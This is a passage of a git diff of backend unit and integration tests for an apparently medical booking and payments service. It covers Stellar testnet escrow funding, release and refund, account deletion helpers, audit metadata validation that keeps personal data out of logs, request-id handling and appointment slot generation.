`patient-${runId}@example.com`, passwordHash: 'unused', role: 'patient' }, + }); + const patient = await prisma.patientProfile.create({ + data: { userId: patientUser.id, fullName: 'Test Patient' }, + }); + patientProfileId = patient.id; + + const payoutWallet = await fundedKeypair(); + await paymentsService.linkWallet(facilityId, payoutWallet.publicKey()); + }); + + afterAll(async () => { + await prisma?.$disconnect(); + await pg.stop(); + fs.rmSync(dataDir, { recursive: true, force: true }); + }); + + it('funds and releases a payment intent end-to-end on testnet', async () => { + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 500_000n, tag: `release-${runId}` }); + const intent = await createPaymentIntentForFixture(prisma, order); + expect(intent.status).toBe('created'); + + const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); + expect(funded.status).toBe('escrowed'); + expect(funded.escrowId).not.toBeNull(); + expect(funded.stellarTxHash).toBeTruthy(); + + const transactionResponse = await fetch(`https://horizon-testnet.stellar.org/transactions/${funded.stellarTxHash}`); + if (!transactionResponse.ok) { + throw new Error(`Unable to retrieve testnet fee measurement: HTTP ${transactionResponse.status}`); + } + const transaction = (await transactionResponse.json()) as { fee_charged: string }; + console.log( + `[payout privacy testnet] ${process.env.PAYOUT_PRIVACY_MODE ?? 'facility'} funding fee: ${transaction.fee_charged} stroops`, + ); + + const released = await paymentsService.releasePaymentIntent(TEST_ACTOR, intent.id); + expect(released.status).toBe('released'); + }, 60_000); + + it('funds and refunds a payment intent end-to-end on testnet', async () => { + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: pharmacyFacilityId, kind: 'prescription', amountStroops: 500_000n, tag: `refund-${runId}` }); + const intent = await createPaymentIntentForFixture(prisma, order); + + await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); + const refunded = await paymentsService.refundPaymentIntent(TEST_ACTOR, intent.id); + expect(refunded.status).toBe('refunded'); + }, 60_000); + + it('rejects a USDC escrow when the payee has no trustline, before any on-chain call', async () => { + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 100_000n, tag: `usdc-no-trustline-${runId}` }); + const intent = await paymentsService.createPaymentIntent({ + orderType: 'lab_order', + orderId: order.id, + patientProfileId, + facilityId, + assetCode: 'USDC', + amount: 100_000n, + }); + + // The friendbot-funded payout wallet exists but has no USDC trustline. + await expect(paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)).rejects.toThrow(/trustline for USDC/); + }, 30_000); + + it.skipIf(!USDC_FUNDING_ENABLED)('funds and releases a USDC escrow end-to-end on testnet', async () => { + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: facilityId, kind: 'lab_order', amountStroops: 500_000n, tag: `usdc-release-${runId}` }); + const intent = await paymentsService.createPaymentIntent({ + orderType: 'lab_order', + orderId: order.id, + patientProfileId, + facilityId, + assetCode: 'USDC', + amount: 500_000n, // 0.05 USDC (both testnet SACs use 7 decimals) + }); + expect(intent.assetCode).toBe('USDC'); + expect(intent.tokenContractId).toBe(USDC_SAC); + + const funded = await paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id); + expect(funded.status).toBe('escrowed'); + const released = await paymentsService.releasePaymentIntent(TEST_ACTOR, intent.id); + expect(released.status).toBe('released'); + }, 60_000); + + it('rejects funding a payment intent for a facility with no linked wallet', async () => { + const unlinkedFacilityUser = await prisma.user.create({ + data: { email: `facility-unlinked-${runId}@example.com`, passwordHash: 'unused', role: 'facility' }, + }); + const unlinkedFacility = await prisma.facilityProfile.create({ + data: { userId: unlinkedFacilityUser.id, name: 'Unlinked Facility', type: 'pharmacy' }, + }); + + const order = await createOrderFixture(prisma, { patientProfileId, facilityProfileId: unlinkedFacility.id, kind: 'prescription', amountStroops: 500_000n, tag: `unlinked-${runId}` }); + const intent = await createPaymentIntentForFixture(prisma, order); + + await expect(paymentsService.fundPaymentIntent(TEST_ACTOR, intent.id)).rejects.toThrow(/no linked wallet/); + }, 30_000); +}); diff --git a/backend/tests/unit/account-deletion.test.ts b/backend/tests/unit/account-deletion.test.ts index d1d164ab..19971b78 100644 --- a/backend/tests/unit/account-deletion.test.ts +++ b/backend/tests/unit/account-deletion.test.ts @@ -1,49 +1,49 @@ -// Account deletion (Phase 8, issue #41, docs/adr/0010): the pure helpers. -// Database behaviour is in tests/integration/account-deletion.test.mts. -import { describe, expect, it } from 'vitest'; -import { Prisma } from '@prisma/client'; -import { tombstoneEmail } from '../../src/modules/auth/services'; -import { isForeignKeyRefusal } from '../../src/modules/patients/services'; -import { signupSchema } from '../../src/modules/auth/validation'; - -describe('tombstoneEmail', () => { - it('is stable per user, unique across users, and on the reserved .invalid TLD', () => { - const a = tombstoneEmail('11111111-1111-1111-1111-111111111111'); - expect(a).toBe(tombstoneEmail('11111111-1111-1111-1111-111111111111')); - expect(a).not.toBe(tombstoneEmail('22222222-2222-2222-2222-222222222222')); - expect(a.endsWith('@deleted.invalid')).toBe(true); - }); - - it('never collides with an address someone could sign up with in practice', () => { - // It's syntactically an email (so the column's shape is unchanged) but - // on a TLD that can't be registered or receive mail. - const parsed = signupSchema.safeParse({ - role: 'patient', - email: tombstoneEmail('11111111-1111-1111-1111-111111111111'), - password: 'longenough', - fullName: 'x', - }); - expect(parsed.success).toBe(true); - }); -}); - -describe('isForeignKeyRefusal', () => { - it('recognises Postgres RESTRICT (23001), which Prisma reports as an unknown error', () => { - const err = new Prisma.PrismaClientUnknownRequestError( - 'PostgresError { code: "23001", message: "update or delete on table \\"User\\" violates RESTRICT setting of foreign key constraint" }', - { clientVersion: 'test' }, - ); - expect(isForeignKeyRefusal(err)).toBe(true); - }); - - it('recognises P2003 (NO ACTION / 23503)', () => { - const err = new Prisma.PrismaClientKnownRequestError('fk', { code: 'P2003', clientVersion: 'test' }); - expect(isForeignKeyRefusal(err)).toBe(true); - }); - - it('does not swallow unrelated errors', () => { - expect(isForeignKeyRefusal(new Prisma.PrismaClientKnownRequestError('dup', { code: 'P2002', clientVersion: 'test' }))).toBe(false); - expect(isForeignKeyRefusal(new Prisma.PrismaClientUnknownRequestError('deadlock detected', { clientVersion: 'test' }))).toBe(false); - expect(isForeignKeyRefusal(new Error('boom'))).toBe(false); - }); -}); +// Account deletion (Phase 8, issue #41, docs/adr/0010): the pure helpers. +// Database behaviour is in tests/integration/account-deletion.test.mts. +import { describe, expect, it } from 'vitest'; +import { Prisma } from '@prisma/client'; +import { tombstoneEmail } from '../../src/modules/auth/services'; +import { isForeignKeyRefusal } from '../../src/modules/patients/services'; +import { signupSchema } from '../../src/modules/auth/validation'; + +describe('tombstoneEmail', () => { + it('is stable per user, unique across users, and on the reserved .invalid TLD', () => { + const a = tombstoneEmail('11111111-1111-1111-1111-111111111111'); + expect(a).toBe(tombstoneEmail('11111111-1111-1111-1111-111111111111')); + expect(a).not.toBe(tombstoneEmail('22222222-2222-2222-2222-222222222222')); + expect(a.endsWith('@deleted.invalid')).toBe(true); + }); + + it('never collides with an address someone could sign up with in practice', () => { + // It's syntactically an email (so the column's shape is unchanged) but + // on a TLD that can't be registered or receive mail. + const parsed = signupSchema.safeParse({ + role: 'patient', + email: tombstoneEmail('11111111-1111-1111-1111-111111111111'), + password: 'longenough', + fullName: 'x', + }); + expect(parsed.success).toBe(true); + }); +}); + +describe('isForeignKeyRefusal', () => { + it('recognises Postgres RESTRICT (23001), which Prisma reports as an unknown error', () => { + const err = new Prisma.PrismaClientUnknownRequestError( + 'PostgresError { code: "23001", message: "update or delete on table \\"User\\" violates RESTRICT setting of foreign key constraint" }', + { clientVersion: 'test' }, + ); + expect(isForeignKeyRefusal(err)).toBe(true); + }); + + it('recognises P2003 (NO ACTION / 23503)', () => { + const err = new Prisma.PrismaClientKnownRequestError('fk', { code: 'P2003', clientVersion: 'test' }); + expect(isForeignKeyRefusal(err)).toBe(true); + }); + + it('does not swallow unrelated errors', () => { + expect(isForeignKeyRefusal(new Prisma.PrismaClientKnownRequestError('dup', { code: 'P2002', clientVersion: 'test' }))).toBe(false); + expect(isForeignKeyRefusal(new Prisma.PrismaClientUnknownRequestError('deadlock detected', { clientVersion: 'test' }))).toBe(false); + expect(isForeignKeyRefusal(new Error('boom'))).toBe(false); + }); +}); diff --git a/backend/tests/unit/admin-overview.test.ts b/backend/tests/unit/admin-overview.test.ts index 1bd8f1be..e7affbdb 100644 --- a/backend/tests/unit/admin-overview.test.ts +++ b/backend/tests/unit/admin-overview.test.ts @@ -1,68 +1,68 @@ -import { describe, expect, it, vi } from 'vitest'; -import { createOverviewCache, runOverviewSections } from '../../src/utils/admin-overview'; - -const NOW = new Date('2026-10-23T10:00:00Z'); - -describe('runOverviewSections', () => { - it('reports each section with its count and oldest age', async () => { - const overview = await runOverviewSections( - [ - { - key: 'doctor-verification', - label: 'Doctors awaiting verification', - drillDownPath: '/doctors?verificationStatus=pending', - run: async () => ({ count: 3, oldestAgeSeconds: 7200 }), - }, - ], - NOW, - ); - expect(overview.generatedAt).toBe(NOW.toISOString()); - expect(overview.sections[0]).toEqual({ - key: 'doctor-verification', - label: 'Doctors awaiting verification', - drillDownPath: '/doctors?verificationStatus=pending', - status: 'ok', - count: 3, - oldestAgeSeconds: 7200, - }); - }); - - it('marks a failing section unavailable without failing the others', async () => { - const overview = await runOverviewSections( - [ - { key: 'broken', label: 'Broken', drillDownPath: '/broken', run: async () => { throw new Error('db down'); } }, - { key: 'fine', label: 'Fine', drillDownPath: '/fine', run: async () => ({ count: 0, oldestAgeSeconds: null }) }, - ], - NOW, - ); - const broken = overview.sections.find((s) => s.key === 'broken'); - const fine = overview.sections.find((s) => s.key === 'fine'); - expect(broken).toMatchObject({ status: 'unavailable', count: null, oldestAgeSeconds: null }); - expect(fine).toMatchObject({ status: 'ok', count: 0 }); - }); - - it('does not leak the error message into the response', async () => { - const overview = await runOverviewSections( - [{ key: 'x', label: 'X', drillDownPath: '/x', run: async () => { throw new Error('secret connection string'); } }], - NOW, - ); - expect(JSON.stringify(overview)).not.toContain('secret connection string'); - }); -}); - -describe('createOverviewCache', () => { - it('reuses the overview within the TTL and rebuilds after it', async () => { - let now = 0; - const build = vi.fn(async () => ({ generatedAt: 'x', sections: [] })); - const cached = createOverviewCache(build, 60_000, () => now); - - await cached(); - now = 59_999; - await cached(); - expect(build).toHaveBeenCalledTimes(1); - - now = 60_000; - await cached(); - expect(build).toHaveBeenCalledTimes(2); - }); -}); +import { describe, expect, it, vi } from 'vitest'; +import { createOverviewCache, runOverviewSections } from '../../src/utils/admin-overview'; + +const NOW = new Date('2026-10-23T10:00:00Z'); + +describe('runOverviewSections', () => { + it('reports each section with its count and oldest age', async () => { + const overview = await runOverviewSections( + [ + { + key: 'doctor-verification', + label: 'Doctors awaiting verification', + drillDownPath: '/doctors?verificationStatus=pending', + run: async () => ({ count: 3, oldestAgeSeconds: 7200 }), + }, + ], + NOW, + ); + expect(overview.generatedAt).toBe(NOW.toISOString()); + expect(overview.sections[0]).toEqual({ + key: 'doctor-verification', + label: 'Doctors awaiting verification', + drillDownPath: '/doctors?verificationStatus=pending', + status: 'ok', + count: 3, + oldestAgeSeconds: 7200, + }); + }); + + it('marks a failing section unavailable without failing the others', async () => { + const overview = await runOverviewSections( + [ + { key: 'broken', label: 'Broken', drillDownPath: '/broken', run: async () => { throw new Error('db down'); } }, + { key: 'fine', label: 'Fine', drillDownPath: '/fine', run: async () => ({ count: 0, oldestAgeSeconds: null }) }, + ], + NOW, + ); + const broken = overview.sections.find((s) => s.key === 'broken'); + const fine = overview.sections.find((s) => s.key === 'fine'); + expect(broken).toMatchObject({ status: 'unavailable', count: null, oldestAgeSeconds: null }); + expect(fine).toMatchObject({ status: 'ok', count: 0 }); + }); + + it('does not leak the error message into the response', async () => { + const overview = await runOverviewSections( + [{ key: 'x', label: 'X', drillDownPath: '/x', run: async () => { throw new Error('secret connection string'); } }], + NOW, + ); + expect(JSON.stringify(overview)).not.toContain('secret connection string'); + }); +}); + +describe('createOverviewCache', () => { + it('reuses the overview within the TTL and rebuilds after it', async () => { + let now = 0; + const build = vi.fn(async () => ({ generatedAt: 'x', sections: [] })); + const cached = createOverviewCache(build, 60_000, () => now); + + await cached(); + now = 59_999; + await cached(); + expect(build).toHaveBeenCalledTimes(1); + + now = 60_000; + await cached(); + expect(build).toHaveBeenCalledTimes(2); + }); +}); diff --git a/backend/tests/unit/audit.test.ts b/backend/tests/unit/audit.test.ts index 257b662f..131f8c5c 100644 --- a/backend/tests/unit/audit.test.ts +++ b/backend/tests/unit/audit.test.ts @@ -1,132 +1,132 @@ -// AuditEvent foundation (Phase 8, issue #43): the pure parts β€” metadata -// validation (no PHI/secrets), the keyset cursor, query validation, the -// transaction-only guard on record(), and the request-id middleware. -// Database-backed behaviour is in tests/integration/audit.test.mts. -import { describe, expect, it } from 'vitest'; -import type { Prisma } from '@prisma/client'; -import { - AuditMetadataError, - SYSTEM_ACTOR, - decodeAuditCursor, - encodeAuditCursor, - record, - validateAuditMetadata, -} from '../../src/modules/audit/services'; -import { listAuditEventsQuerySchema } from '../../src/modules/audit/validation'; -import { requestId } from '../../src/middleware/request-id'; - -describe('validateAuditMetadata', () => { - it('accepts a small flat map of ids and codes', () => { - const metadata = { availabilitySlotId: 's1', doctorProfileId: 'd1', origin: 'direct_booking', amount: '100', escrowId: null, retried: false, attempt: 2 }; - expect(validateAuditMetadata(metadata)).toEqual(metadata); - expect(validateAuditMetadata(undefined)).toBeUndefined(); - }); - - it.each(['email', 'fullName', 'patientName', 'phone', 'dateOfBirth', 'dob', 'notes', 'intakeText', 'symptoms', 'password', 'secret', 'releaserSecret', 'refreshToken', 'apiKey', 'requestBody', 'payload'])( - 'refuses a key that could carry personal or secret data: %s', - (key) => { - expect(() => validateAuditMetadata({ [key]: 'x' })).toThrow(AuditMetadataError); - }, - ); - - it('refuses nested objects, arrays, long strings, non-finite numbers and too many keys', () => { - expect(() => validateAuditMetadata({ nested: { a: 1 } } as never)).toThrow(AuditMetadataError); - expect(() => validateAuditMetadata({ list: [1, 2] } as never)).toThrow(AuditMetadataError); - expect(() => validateAuditMetadata({ reason: 'x'.repeat(201) })).toThrow(AuditMetadataError); - expect(() => validateAuditMetadata({ n: Number.NaN })).toThrow(AuditMetadataError); - expect(() => validateAuditMetadata(Object.fromEntries(Array.from({ length: 17 }, (_, i) => [`k${i}`, i])))).toThrow(AuditMetadataError); - expect(() => validateAuditMetadata({ 'bad key': 1 })).toThrow(AuditMetadataError); - }); -}); - -describe('record()', () => { - it('refuses the root client β€” it must run inside the transaction of the change', async () => { - // A real root client (Prisma 7) exposes its lifecycle methods; that β€” - // not `$transaction`, which v7's transaction client also has β€” is what - // the guard keys on. See the doc comment on record(). - const rootLike = { - $transaction: () => undefined, - $connect: () => undefined, - $disconnect: () => undefined, - auditEvent: { create: () => undefined }, - } as unknown as Prisma.TransactionClient; - await expect( - record(rootLike, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'appointment.booked', fromState: null, toState: 'scheduled' }), - ).rejects.toThrow(/inside the transaction/); - }); - - it('accepts a Prisma 7 transaction client even though it carries $transaction', async () => { - // Regression: since prisma@7 the interactive-transaction client has a - // $transaction method identical to the root client's (issue #47's - // upgrade). Guarding on it refused every legitimate call and aborted - // the surrounding change; this shape must be accepted and must write. - let wrote = false; - const v7TransactionClient = { - $transaction: () => undefined, - auditEvent: { create: async () => { wrote = true; } }, - } as unknown as Prisma.TransactionClient; - await record(v7TransactionClient, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'appointment.booked', fromState: null, toState: 'scheduled' }); - expect(wrote).toBe(true); - }); - - it('refuses a malformed action name before writing anything', async () => { - let wrote = false; - const tx = { auditEvent: { create: async () => { wrote = true; } } } as unknown as Prisma.TransactionClient; - await expect( - record(tx, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'Booked!', fromState: null, toState: null }), - ).rejects.toThrow(/Invalid audit action/); - expect(wrote).toBe(false); - }); -}); - -describe('audit cursor', () => { - it('round-trips (createdAt, id) and rejects garbage', () => { - const position = { createdAt: new Date('2026-10-17T10:00:00.123Z'), id: 'abc-123' }; - expect(decodeAuditCursor(encodeAuditCursor(position))).toEqual(position); - for (const bad of ['', 'not-base64-!!', Buffer.from('nodate|id').toString('base64url'), Buffer.from('2026-10-17T10:00:00Z|').toString('base64url')]) { - expect(() => decodeAuditCursor(bad)).toThrow(/Invalid cursor/); - } - }); -}); - -describe('listAuditEventsQuerySchema', () => { - it('defaults the limit and coerces it from the query string', () => { - expect(listAuditEventsQuerySchema.parse({}).limit).toBe(50); - expect(listAuditEventsQuerySchema.parse({ limit: '10' }).limit).toBe(10); - }); - - it('bounds the page size', () => { - expect(listAuditEventsQuerySchema.safeParse({ limit: '0' }).success).toBe(false); - expect(listAuditEventsQuerySchema.safeParse({ limit: '201' }).success).toBe(false); - }); - - it('rejects unknown parameters, bad dates and entityId without entityType', () => { - expect(listAuditEventsQuerySchema.safeParse({ patientEmail: 'x' }).success).toBe(false); - expect(listAuditEventsQuerySchema.safeParse({ from: 'yesterday' }).success).toBe(false); - expect(listAuditEventsQuerySchema.safeParse({ entityId: 'a1' }).success).toBe(false); - expect(listAuditEventsQuerySchema.parse({ from: '2026-10-01', to: '2026-10-17T12:00:00Z' }).to).toEqual(new Date('2026-10-17T12:00:00Z')); - }); -}); - -describe('requestId middleware', () => { - function run(inbound?: string) { - const headers: Record = {}; - const req = { get: (name: string) => (name.toLowerCase() === 'x-request-id' ? inbound : undefined) } as never as { requestId?: string; get(n: string): string | undefined }; - const res = { set: (name: string, value: string) => { headers[name] = value; } }; - let called = false; - requestId(req as never, res as never, () => { called = true; }); - return { id: req.requestId!, header: headers['X-Request-Id'], called }; - } - - it('keeps a well-formed inbound id and echoes it', () => { - expect(run('render-abc12345')).toEqual({ id: 'render-abc12345', header: 'render-abc12345', called: true }); - }); - - it('replaces a missing, short, oversized or unsafe id with a fresh UUID', () => { - for (const inbound of [undefined, 'short', 'x'.repeat(129), 'has spaces in it', '']) { - const { id, header } = run(inbound); - expect(id).toMatch(/^[0-9a-f-]{36}$/); - expect(header).toBe(id); - } - }); -}); +// AuditEvent foundation (Phase 8, issue #43): the pure parts β€” metadata +// validation (no PHI/secrets), the keyset cursor, query validation, the +// transaction-only guard on record(), and the request-id middleware. +// Database-backed behaviour is in tests/integration/audit.test.mts. +import { describe, expect, it } from 'vitest'; +import type { Prisma } from '@prisma/client'; +import { + AuditMetadataError, + SYSTEM_ACTOR, + decodeAuditCursor, + encodeAuditCursor, + record, + validateAuditMetadata, +} from '../../src/modules/audit/services'; +import { listAuditEventsQuerySchema } from '../../src/modules/audit/validation'; +import { requestId } from '../../src/middleware/request-id'; + +describe('validateAuditMetadata', () => { + it('accepts a small flat map of ids and codes', () => { + const metadata = { availabilitySlotId: 's1', doctorProfileId: 'd1', origin: 'direct_booking', amount: '100', escrowId: null, retried: false, attempt: 2 }; + expect(validateAuditMetadata(metadata)).toEqual(metadata); + expect(validateAuditMetadata(undefined)).toBeUndefined(); + }); + + it.each(['email', 'fullName', 'patientName', 'phone', 'dateOfBirth', 'dob', 'notes', 'intakeText', 'symptoms', 'password', 'secret', 'releaserSecret', 'refreshToken', 'apiKey', 'requestBody', 'payload'])( + 'refuses a key that could carry personal or secret data: %s', + (key) => { + expect(() => validateAuditMetadata({ [key]: 'x' })).toThrow(AuditMetadataError); + }, + ); + + it('refuses nested objects, arrays, long strings, non-finite numbers and too many keys', () => { + expect(() => validateAuditMetadata({ nested: { a: 1 } } as never)).toThrow(AuditMetadataError); + expect(() => validateAuditMetadata({ list: [1, 2] } as never)).toThrow(AuditMetadataError); + expect(() => validateAuditMetadata({ reason: 'x'.repeat(201) })).toThrow(AuditMetadataError); + expect(() => validateAuditMetadata({ n: Number.NaN })).toThrow(AuditMetadataError); + expect(() => validateAuditMetadata(Object.fromEntries(Array.from({ length: 17 }, (_, i) => [`k${i}`, i])))).toThrow(AuditMetadataError); + expect(() => validateAuditMetadata({ 'bad key': 1 })).toThrow(AuditMetadataError); + }); +}); + +describe('record()', () => { + it('refuses the root client β€” it must run inside the transaction of the change', async () => { + // A real root client (Prisma 7) exposes its lifecycle methods; that β€” + // not `$transaction`, which v7's transaction client also has β€” is what + // the guard keys on. See the doc comment on record(). + const rootLike = { + $transaction: () => undefined, + $connect: () => undefined, + $disconnect: () => undefined, + auditEvent: { create: () => undefined }, + } as unknown as Prisma.TransactionClient; + await expect( + record(rootLike, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'appointment.booked', fromState: null, toState: 'scheduled' }), + ).rejects.toThrow(/inside the transaction/); + }); + + it('accepts a Prisma 7 transaction client even though it carries $transaction', async () => { + // Regression: since prisma@7 the interactive-transaction client has a + // $transaction method identical to the root client's (issue #47's + // upgrade). Guarding on it refused every legitimate call and aborted + // the surrounding change; this shape must be accepted and must write. + let wrote = false; + const v7TransactionClient = { + $transaction: () => undefined, + auditEvent: { create: async () => { wrote = true; } }, + } as unknown as Prisma.TransactionClient; + await record(v7TransactionClient, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'appointment.booked', fromState: null, toState: 'scheduled' }); + expect(wrote).toBe(true); + }); + + it('refuses a malformed action name before writing anything', async () => { + let wrote = false; + const tx = { auditEvent: { create: async () => { wrote = true; } } } as unknown as Prisma.TransactionClient; + await expect( + record(tx, SYSTEM_ACTOR, { entityType: 'Appointment', entityId: 'a', action: 'Booked!', fromState: null, toState: null }), + ).rejects.toThrow(/Invalid audit action/); + expect(wrote).toBe(false); + }); +}); + +describe('audit cursor', () => { + it('round-trips (createdAt, id) and rejects garbage', () => { + const position = { createdAt: new Date('2026-10-17T10:00:00.123Z'), id: 'abc-123' }; + expect(decodeAuditCursor(encodeAuditCursor(position))).toEqual(position); + for (const bad of ['', 'not-base64-!!', Buffer.from('nodate|id').toString('base64url'), Buffer.from('2026-10-17T10:00:00Z|').toString('base64url')]) { + expect(() => decodeAuditCursor(bad)).toThrow(/Invalid cursor/); + } + }); +}); + +describe('listAuditEventsQuerySchema', () => { + it('defaults the limit and coerces it from the query string', () => { + expect(listAuditEventsQuerySchema.parse({}).limit).toBe(50); + expect(listAuditEventsQuerySchema.parse({ limit: '10' }).limit).toBe(10); + }); + + it('bounds the page size', () => { + expect(listAuditEventsQuerySchema.safeParse({ limit: '0' }).success).toBe(false); + expect(listAuditEventsQuerySchema.safeParse({ limit: '201' }).success).toBe(false); + }); + + it('rejects unknown parameters, bad dates and entityId without entityType', () => { + expect(listAuditEventsQuerySchema.safeParse({ patientEmail: 'x' }).success).toBe(false); + expect(listAuditEventsQuerySchema.safeParse({ from: 'yesterday' }).success).toBe(false); + expect(listAuditEventsQuerySchema.safeParse({ entityId: 'a1' }).success).toBe(false); + expect(listAuditEventsQuerySchema.parse({ from: '2026-10-01', to: '2026-10-17T12:00:00Z' }).to).toEqual(new Date('2026-10-17T12:00:00Z')); + }); +}); + +describe('requestId middleware', () => { + function run(inbound?: string) { + const headers: Record = {}; + const req = { get: (name: string) => (name.toLowerCase() === 'x-request-id' ? inbound : undefined) } as never as { requestId?: string; get(n: string): string | undefined }; + const res = { set: (name: string, value: string) => { headers[name] = value; } }; + let called = false; + requestId(req as never, res as never, () => { called = true; }); + return { id: req.requestId!, header: headers['X-Request-Id'], called }; + } + + it('keeps a well-formed inbound id and echoes it', () => { + expect(run('render-abc12345')).toEqual({ id: 'render-abc12345', header: 'render-abc12345', called: true }); + }); + + it('replaces a missing, short, oversized or unsafe id with a fresh UUID', () => { + for (const inbound of [undefined, 'short', 'x'.repeat(129), 'has spaces in it', '']) { + const { id, header } = run(inbound); + expect(id).toMatch(/^[0-9a-f-]{36}$/); + expect(header).toBe(id); + } + }); +}); diff --git a/backend/tests/unit/availability-slots.property.test.ts b/backend/tests/unit/availability-slots.property.test.ts index ee68fb99..34d79f57 100644 --- a/backend/tests/unit/availability-slots.property.test.ts +++ b/backend/tests/unit/availability-slots.property.test.ts @@ -1,74 +1,74 @@ -import fc from 'fast-check'; -import { describe, expect, it } from 'vitest'; -import { buildSlotRanges } from '../../src/modules/availability/slot-generation'; - -const seed = Number(process.env.PROPERTY_TEST_SEED ?? 424242); -const numRuns = Number(process.env.PROPERTY_TEST_RUNS ?? 300); - -describe('slot generation properties', () => { - it('keeps generated slots in range, non-overlapping, and exactly the requested duration', () => { - fc.assert(fc.property( - fc.integer({ min: 0, max: 23 }), - fc.integer({ min: 1, max: 8 }), - fc.integer({ min: 1, max: 120 }), - (startHour, span, slotLengthMinutes) => { - const endHour = Math.min(24, startHour + span); - const input = { - doctorProfileId: 'doctor-property-fixture', - date: '2026-10-22', - startHour, - endHour, - slotLengthMinutes, - }; - const slots = buildSlotRanges(input); - const lower = Date.parse(`${input.date}T00:00:00.000Z`) + startHour * 60 * 60_000; - const upper = Date.parse(`${input.date}T00:00:00.000Z`) + endHour * 60 * 60_000; - const duration = slotLengthMinutes * 60_000; - - for (const slot of slots) { - if (slot.startTime.getTime() < lower || slot.endTime.getTime() > upper) { - throw new Error('Generated slot falls outside the requested window.'); - } - if (slot.endTime.getTime() - slot.startTime.getTime() !== duration) { - throw new Error('Generated slot duration differs from the requested duration.'); - } - } - for (let index = 1; index < slots.length; index += 1) { - if (slots[index - 1].endTime.getTime() > slots[index].startTime.getTime()) { - throw new Error('Generated slots overlap.'); - } - } - }, - ), { seed, numRuns }); - }); - - it('is idempotent when generated slot starts already exist', () => { - fc.assert(fc.property( - fc.integer({ min: 0, max: 23 }), - fc.integer({ min: 1, max: 8 }), - fc.integer({ min: 1, max: 180 }), - (startHour, span, slotLengthMinutes) => { - const input = { - doctorProfileId: 'doctor-property-fixture', - date: '2026-10-22', - startHour, - endHour: Math.min(24, startHour + span), - slotLengthMinutes, - }; - const first = buildSlotRanges(input); - const second = buildSlotRanges(input, first.map((slot) => slot.startTime.getTime())); - expect(second).toEqual([]); - }, - ), { seed: seed + 1, numRuns }); - }); - - it('rejects calendar dates that JavaScript would otherwise normalize', () => { - expect(() => buildSlotRanges({ - doctorProfileId: 'doctor-property-fixture', - date: '2026-02-30', - startHour: 9, - endHour: 10, - slotLengthMinutes: 30, - })).toThrow('date must be a valid ISO date.'); - }); -}); +import fc from 'fast-check'; +import { describe, expect, it } from 'vitest'; +import { buildSlotRanges } from '../../src/modules/availability/slot-generation'; + +const seed = Number(process.env.PROPERTY_TEST_SEED ?? 424242); +const numRuns = Number(process.env.PROPERTY_TEST_RUNS ?? 300); + +describe('slot generation properties', () => { + it('keeps generated slots in range, non-overlapping, and exactly the requested duration', () => { + fc.assert(fc.property( + fc.integer({ min: 0, max: 23 }), + fc.integer({ min: 1, max: 8 }), + fc.integer({ min: 1, max: 120 }), + (startHour, span, slotLengthMinutes) => { + const endHour = Math.min(24, startHour + span); + const input = { + doctorProfileId: 'doctor-property-fixture', + date: '2026-10-22', + startHour, + endHour, + slotLengthMinutes, + }; + const slots = buildSlotRanges(input); + const lower = Date.parse(`${input.date}T00:00:00.000Z`) + startHour * 60 * 60_000; + const upper = Date.parse(`${input.date}T00:00:00.000Z`) + endHour * 60 * 60_000; + const duration = slotLengthMinutes * 60_000; + + for (const slot of slots) { + if (slot.startTime.getTime() < lower || slot.endTime.getTime() > upper) { + throw new Error('Generated slot falls outside the requested window.'); + } + if (slot.endTime.getTime() - slot.startTime.getTime() !== duration) { + throw new Error('Generated slot duration differs from the requested duration.'); + } + } + for (let index = 1; index < slots.length; index += 1) { + if (slots[index - 1].endTime.getTime() > slots[index].startTime.getTime()) { + throw new Error('Generated slots overlap.'); + } + } + }, + ), { seed, numRuns }); + }); + + it('is idempotent when generated slot starts already exist', () => { + fc.assert(fc.property( + fc.integer({ min: 0, max: 23 }), + fc.integer({ min: 1, max: 8 }), + fc.integer({ min: 1, max: 180 }), + (startHour, span, slotLengthMinutes) => { + const input = { + doctorProfileId: 'doctor-property-fixture', + date: '2026-10-22', + startHour, + endHour: Math.min(24, startHour + span), + slotLengthMinutes, + }; + const first = buildSlotRanges(input); + const second = buildSlotRanges(input, first.map((slot) => slot.startTime.getTime())); + expect(second).toEqual([]); + }, + ), { seed: seed + 1, numRuns }); + }); + + it('rejects calendar dates that JavaScript would otherwise normalize', () => { + expect(() => buildSlotRanges({ + doctorProfileId: 'doctor-property-fixture', + date: '2026-02-30', + startHour: 9, + endHour: 10, + slotLengthMinutes: 30, + })).toThrow('date must be a valid ISO date.'); + }); +}); diff --git a/backend/tests/unit/facility-pricing.test.ts b/backend/tests/unit/facility-pricing.test.ts index eb37d0c4..f2030bdb 100644 --- a/backend/tests/unit/facility-pricing.test.ts +++ b/backend/tests/unit/facility-pricing.test.ts @@ -1,108 +1,108 @@ -// Unit tests for the facility price-list selection rules (issue #127). -// Pure helpers only: no database, no HTTP, so these run anywhere. -import { describe, expect, it } from 'vitest'; -import { - NATIVE_PRICE_ASSET, - parseEffectiveFrom, - priceOnRequestError, - selectCurrentPrice, -} from '../../src/modules/facilities/pricing'; -import { MAX_STROOPS, parseStroopsAmount } from '../../src/utils/stroops'; -import { prescriptionSchema, labOrderSchema } from '../../src/modules/orders/validation'; - -const version = (iso: string, amount: bigint) => ({ effectiveFrom: new Date(iso), amount }); - -describe('selectCurrentPrice', () => { - const versions = [version('2026-10-01T00:00:00.000Z', 100n), version('2026-10-10T00:00:00.000Z', 200n)]; - - it('returns the latest version not after the instant', () => { - expect(selectCurrentPrice(versions, new Date('2026-10-15T00:00:00.000Z'))?.amount).toBe(200n); - expect(selectCurrentPrice(versions, new Date('2026-10-05T00:00:00.000Z'))?.amount).toBe(100n); - }); - - it('treats a version effective exactly at the instant as in force', () => { - expect(selectCurrentPrice(versions, new 